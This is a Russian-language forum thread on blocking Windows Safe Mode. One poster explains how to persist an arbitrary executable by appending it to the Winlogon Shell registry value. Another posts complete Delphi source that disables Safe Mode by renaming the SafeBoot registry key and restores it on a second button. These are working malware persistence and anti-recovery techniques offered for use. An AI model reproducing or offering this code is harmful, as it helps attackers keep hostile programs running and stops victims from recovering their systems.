блокировка безопасного режима

[Hacker19_90]

Можно в реестре в ветке
HKEY_LOCAL_MACHINE\SOFTWARE\Microso ft\Windows NT\CurrentVersion\Winlogon
у параметра SHELL
дописать, допустим значение было =Explorer.exe
а мы допишем наш фаилик и значение станет =Explorer.exe, c:\1.exe

[Zloy2T]

Hacker19_90, ты тоже готовый код дать не хочешь да?

[Zloy2T]

В общем вот, с кодом помог разобраться мой друг

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, Types, StdCtrls;

type
DWORD = Types.DWORD;
{$EXTERNALSYM DWORD}

  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Reg: TRegistry;
  Block: boolean;
implementation

{$R *.dfm}


Const
{$EXTERNALSYM HKEY_CURRENT_USER}
HKEY_CURRENT_USER = DWORD($80000001);
{$EXTERNALSYM HKEY_LOCAL_MACHINE}
HKEY_LOCAL_MACHINE = DWORD($80000002);

procedure TForm1.Button1Click(Sender: TObject);
begin
Reg:=TRegistry.Create;
block:= true;
try
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True);
If Block=true Then
Begin
Reg.MoveKey('SafeBoot','SystemNls',True);
Reg.Free;
End
Else
Begin
Reg.MoveKey('SystemNls','SafeBoot', True);
Reg.Free;
End;
Except
Reg.Free;
End;
End;


procedure TForm1.Button2Click(Sender: TObject);
begin
Reg:=TRegistry.Create;
block:= false;
try
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True);
If Block=true Then
Begin
Reg.MoveKey('SafeBoot','SystemNls',True);
Reg.Free;
End
Else
Begin
Reg.MoveKey('SystemNls','SafeBoot', True);
Reg.Free;
End;
Except
Reg.Free;
End;
End;

end.